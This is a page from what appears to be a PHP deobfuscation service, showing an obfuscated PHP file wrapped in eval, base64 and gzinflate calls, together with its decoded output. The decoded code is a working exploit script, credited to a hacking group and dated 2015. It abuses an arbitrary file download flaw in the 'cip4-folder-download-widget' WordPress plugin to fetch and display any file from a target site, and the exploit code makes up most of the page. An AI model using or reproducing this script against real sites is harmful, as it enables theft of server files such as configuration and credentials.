Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $WmdaKADJGgaja="hZJrb9owFIa/I/EfvKgigUEulNArqwgKaauNgUFoME0o9hzTsKXhBKyGbf99dijqqlW..
Decoded Output download
/**
DM | D-MASTERPIECE
Author Script Exploiter : www.facebook.com/PeZeEf
FB Group : www.facebook.com/groups/D.MASTERPIECE
Release Script Date : 21 / 01 /2015
Release Script View : https://m.facebook.com/groups/192316047565078?view=permalink&id=609653452498000&_rdr
**/
if(isset($_GET['url']) && !empty($_GET['url'])){
$url = $_GET['url'];
$file = $_GET['file'];
$fp = fopen("cookie.txt", "w+");
$Cookie = realpath('cookie.txt');
$request = "?target=$file&info=$file";
$web = $url."/wp-content/plugins/cip4-folder-download-widget/cip4-download.php".$request;
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$web");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$gweb = curl_exec($curl);
echo '<textarea rows="30" cols="50">'.htmlentities($gweb).'</textarea>';
}
Did this file decode correctly?
Original Code
<?php
$WmdaKADJGgaja="hZJrb9owFIa/I/EfvKgigUEulNArqwgKaauNgUFoME0o9hzTsKXhBKyGbf99dijqqlWtFPnynudcfHKsWq1cKpdGc/QbjRrzQT/Afm+Kh7hcGiz5ljDUT5mgHOEVzYngwNA5iuPYzJIU7gl5MFOys3rwCXBWLo0/owkjS/oSs1GGyBqZz5L4kEMSwSHLKOEgnZsOspAtl6btuP9BNwJiCaEt5zQ6t6zdi4mcs+ax07ZbJ27btU9Or+6kV4cC2yW5CB8qYt1p22dt97jlNltnp7ZtVxZszVQzajVLbSIzRBQBN44WExx81Zcs179VUaWC3sGO8h/P9eqvculIHlEH/atfSDUTOTzJ6vaoU6lmhEJoaKmsXoDJV1yrIy1+r1UVMSxUSTFIcprwraE/gXqBMPi+hIhLRrviCdsA7xQJKyLMyP6oKS6Ge1WDLMrUrJg2UhJyCLlF8+VGhJGVCtpqZCRfA2usSRzmJFk3YrGWAfe2g2jSLdXMQ14VOpVBO2pZiFBwQ5VV3GTvCJXtU5f68Nqfeb1g4ePg2u8G/qDbH2O/7rxOy62uqdq1N7g+9gcT3A3q+pz8FHmeWK5pI+NWhLLuCHUD5JrOBWJ3586paVfRBNIHosbLlp+DxoJBRlaWMuqvp+r3Z4sb7E/HH3tYPgBlSR7B6y5jbzbzbmfecBBMve5bbx563pcpHk9nWE7C4wi88fxgOsfedVB3i5HY7P91gcMK0j2sTJBuCdIvOazkqECCmOxNRzu2NZSSXJ5cW/ugm1u+y+VoCC4gMopoVVO/tA5eH3QZ6c9f"; eval(str_rot13(gzinflate(base64_decode($WmdaKADJGgaja)))); ?>
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | f133a2deaa7c04e75b6bdc48827d5113 |
Eval Count | 1 |
Decode Time | 154 ms |